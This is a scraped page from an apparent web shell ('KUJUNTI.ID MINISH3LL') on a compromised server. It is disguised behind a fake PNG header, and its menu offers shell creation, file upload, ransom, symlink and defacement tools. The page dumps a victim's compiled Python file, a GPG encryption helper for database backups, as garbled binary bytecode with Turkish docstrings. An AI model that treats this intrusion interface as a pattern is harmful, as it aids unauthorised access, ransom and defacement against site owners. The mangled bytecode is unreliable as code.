\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/__pycache__/encryption_utils.cpython-310.pyc


o

�2�g4>�@s�dZddlZddlZddlZddlZddlmZejejdd�e�	e
�Zd dd	�Zd!d
d�Z
d"dd
�Zdd�Zd#dd�Zd$dd�Zd#dd�Zdd�Zdd�Ze
dkrged�e�Zeder`dnd���dSdS)%uu
Veritabanı yedekleri için şifreleme yardımcı fonksiyonları.
Güncellenmiş GPG kütüphanesi uyumlu versiyon.
�N)�Pathz4%(asctime)s - %(name)s - %(levelname)s - %(message)s)�level�format�RSA�c
Cs8z~tj�dtj�tj�t���}tj�|d�}tj|dd�t	j
|d�}d|_||||d�}|r4||d<|jdi|��}	|�
|	�}
|
rw|
j}|�|�}z
|j|d|d�}
Wntye|j|dd	�}
Ynwt�d
|���|||
||d�WSt�d�Wd
Sty�}zt�dt|����WYd
}~d
Sd
}~ww)u�
    GPG anahtar çifti oluşturur.
    
    Args:
        name (str): Anahtar sahibinin adı
        email (str): Anahtar sahibinin e-posta adresi
        passphrase (str, optional): Özel anahtar için şifre
        key_type (str): Anahtar türü (RSA veya DSA)
        key_length (int): Anahtar uzunluğu (bit cinsinden)
        
    Returns:
        dict: Oluşturulan anahtar bilgileri veya None (başarısız olursa)
    �GPG_HOME_DIR�gpg_keysT��exist_ok��homedir)�key_type�
key_length�	name_real�
name_email�
passphrase)�secretr)ru!GPG anahtar çifti oluşturuldu: )�fingerprint�
public_key�private_key�name�emailu#GPG anahtar çifti oluşturulamadıNu GPG anahtar oluşturma hatası: �)�os�environ�get�path�dirname�abspath�__file__�join�makedirs�gnupg�GPG�ignore_homedir_permissions�
gen_key_input�gen_keyr�export_keys�	TypeError�logger�info�error�	Exception�str)rrrr
r�	base_path�gpg_home�gpg�
key_params�
input_data�keyr�pubkey�privkey�err�B/var/www/html/yedekledb24/DatabaseBackupMaster/encryption_utils.py�generate_gpg_keysJ�

��
��r8c
Csvz�|s|�d�}tj�dtj�tj�t���}tj�|d�}tj|dd�t	j
|d�}d|_t|d��}|�
�}Wd�n1sBwY|rR|j||dd	�}	n	|j|d|dd
�}	|	jr�t|d��}|�|	j�Wd�n1stwYt�d|���|WSt�d
|	j���t|	d�r�t�d|	j���WdSty�}
zt�dt|
����WYd}
~
dSd}
~
ww)u�
    Bir dosyayı GPG ile şifreler.
    
    Args:
        input_file (str): Şifrelenecek dosyanın yolu
        recipients (list, optional): Alıcı e-posta adresleri listesi (anahtar ID'leri)
        output_file (str, optional): Çıktı dosyasının yolu (belirtilmezse input_file + .gpg)
        passphrase (str, optional): Şifreleme için şifre (symmetric encryption için)
        
    Returns:
        str: Şifrelenmiş dosyanın yolu veya None (başarısız olursa)
    �.gpgrrTr	r�rbN)�always_trust)r�	symmetric�wbuDosya başarıyla şifrelendi: uDosya şifreleme hatası: �stderruŞifreleme hatası detayı: u+Dosya şifreleme işlemi sırasında hata: )rrrrrrrr r!r"r#r$�open�read�encrypt�ok�write�datar)r*r+�status�hasattrr>r,r-)�
input_file�
recipients�output_filerr.r/r0�frD�encrypted_datar6rrr7�encrypt_fileUs:


��
��rLc

Csrz�|s|�dd�}||kr|�d�}tj�dtj�tj�t���}tj�|d�}tj	|dd�t
j|d�}d|_t
|d	��}|��}Wd
�n1sLwY|j||dd�}|jr�t
|d��}|�|j�Wd
�n1srwYt�d
|���|WSt�d|j���t|d�r�t�d|j���Wd
Sty�}	zt�dt|	����WYd
}	~	d
Sd
}	~	ww)ul
    GPG ile şifrelenmiş bir dosyayı çözer.
    
    Args:
        input_file (str): Şifresi çözülecek dosyanın yolu
        output_file (str, optional): Çıktı dosyasının yolu
        passphrase (str, optional): Şifre çözme için şifre
        
    Returns:
        str: Şifresi çözülmüş dosyanın yolu veya None (başarısız olursa)
    r9�z
.decryptedrrTr	rr:N)rr;r=u(Dosya şifresi başarıyla çözüldü: uDosya şifre çözme hatası: r>u Şifre çözme hatası detayı: u)Şifre çözme sırasında hata oluştu: )�replacerrrrrrrr r!r"r#r$r?r@�decryptrBrCrDr)r*r+rErFr>r,r-)
rGrIrr.r/r0rJrK�decrypted_datar6rrr7�decrypt_file�s:

��
��rQc
Cs�z4tj�dtj�tj�t���}tj�|d�}tj|dd�t	j
|d�}d|_|��}|�d�}||fWSt
yT}zt�dt|����ggfWYd}~Sd}~ww)uk
    Mevcut GPG anahtarlarını listeler.
    
    Returns:
        tuple: (public_keys, private_keys)
    rrTr	ru-GPG anahtarları listelenirken hata oluştu: N)rrrrrrrr r!r"r#r$�	list_keysr,r)r+r-)r.r/r0�public_keys�private_keysr6rrr7�
list_gpg_keys�s

��rUFc
Cs�zItj�dtj�tj�t���}tj�|d�}tj|dd�t	j
|d�}d|_|�|�}|j
dkrBt�d|jd���|jdWSt�d�Wd	Styf}zt�d
t|����WYd	}~d	Sd	}~ww)u�
    GPG anahtarını içe aktarır.
    
    Args:
        key_data (str): Anahtar verisi (ASCII-armored)
        private (bool): Özel anahtar mı?
        
    Returns:
        str: İçe aktarılan anahtarın parmak izi veya None
    rrTr	rru,GPG anahtarı başarıyla içe aktarıldı: u!GPG anahtarı içe aktarılamadıNu0GPG anahtarı içe aktarılırken hata oluştu: )rrrrrrrr r!r"r#r$�import_keys�countr)r*�fingerprintsr+r,r-)�key_data�privater.r/r0�
import_resultr6rrr7�import_gpg_key�s"


��r\c
Cs2z{tj�dtj�tj�t���}tj�|d�}tj|dd�t	j
|d�}d|_z'|r3|j|d|d�}n|�|�}|rFt
�d|���|WWSt
�d�WWd	Sty{|r^|�|d�}n|�|�}|rrt
�d|���|YWSt
�d�YWd	Swty�}zt
�d
t|����WYd	}~d	Sd	}~ww)uP
    GPG anahtarını dışa aktarır.
    
    Args:
        fingerprint (str): Dışa aktarılacak anahtarın parmak izi
        private (bool): Özel anahtarı da dahil et
        passphrase (str, optional): Özel anahtar için şifre
        
    Returns:
        str: Dışa aktarılan anahtar verisi (ASCII-armored) veya None
    rrTr	r�ru.GPG anahtarı başarıyla dışa aktarıldı: u#GPG anahtarı dışa aktarılamadıNu2GPG anahtarı dışa aktarılırken hata oluştu: )rrrrrrrr r!r"r#r$r'r)r*r+r(r,r-)rrZrr.r/r0rYr6rrr7�export_gpg_keys<




���r^c
Cs�zHtj�dtj�tj�t���}tj�|d�}tj|dd�t	j
|d�}d|_|�||�}|j
dkr=t�d|���WdSt�d|j
���Wd	Stye}zt�d
t|����WYd}~d	Sd}~ww)u�
    GPG anahtarını siler.
    
    Args:
        fingerprint (str): Silinecek anahtarın parmak izi
        private (bool): Özel anahtarı sil
        
    Returns:
        bool: Başarılı ise True, değilse False
    rrTr	rrBu#GPG anahtarı başarıyla silindi: uGPG anahtarı silinemedi: Fu'GPG anahtarı silinirken hata oluştu: N)rrrrrrrr r!r"r#r$�delete_keysrEr)r*r+r,r-)rrZr.r/r0�resultr6rrr7�delete_gpg_key7s"
��rac
Cs�zCd}tt����d�D]}z
|��|d7}WqYqtt����d�D]}z
|��|d7}Wq'Yq't�|�d��|WSty`}zt�dt	|����WYd}~dSd}~ww)un
    GPG ile ilgili geçici dosyaları temizler.
    
    Returns:
        int: Temizlenen dosya sayısı
    rz*.gpg�z*.decryptedu  geçici GPG dosyası temizlendiu-Geçici dosyalar temizlenirken hata oluştu: N)
r�tempfile�
gettempdir�glob�unlinkr)r*r,r+r-)rW�filer6rrr7�clean_gpg_temp_files[s*��rhc
Cs�z�tjdd��}|�d�|j}Wd�n1swYd}t||d�}|s1t�d�WdSt||d�}|sAt�d�WdSt|d	��k}t|d	��T}|�	�|�	�kr�t�
d
�tj�
|�ret�|�tj�
|�rpt�|�tj�
|�r{t�|�	Wd�Wd�WdSt�d�	Wd�Wd�WdS1s�wYWd�WdS1s�wYWdSty�}zt�d
t|����WYd}~dSd}~ww)u�
    Şifreleme/şifre çözme işlevlerini test eder.
    
    Returns:
        bool: Test başarılı ise True, değilse False
    F)�deletesBu bir test dosyasidir.N�test123r]u3Şifreleme testi başarısız: Dosya şifrelenemediu?Şifre çözme testi başarısız: Dosya şifresi çözülemedir:u+Şifreleme/şifre çözme testi başarılıTu?Şifre çözme testi başarısız: Dosya içeriği eşleşmiyoru+Şifreleme testi sırasında hata oluştu: )rc�NamedTemporaryFilerCrrLr)r+rQr?r@r*rr�exists�remover,r-)�temp�	temp_file�password�encrypted_file�decrypted_file�f1�f2r6rrr7�test_encryption{sB
�





�
V���ru�__main__u(GPG şifreleme modülü test ediliyor...z
Test sonucu: uBaşarılıuBaşarısız)Nrr)NNN)NN)F)FN)�__doc__r�loggingrcr"�pathlibr�basicConfig�INFO�	getLogger�__name__r)r8rLrQrUr\r^rarhru�print�successrrrr7�<module>s0�


B
95

#
7$ 3�

© KUJUNTI.ID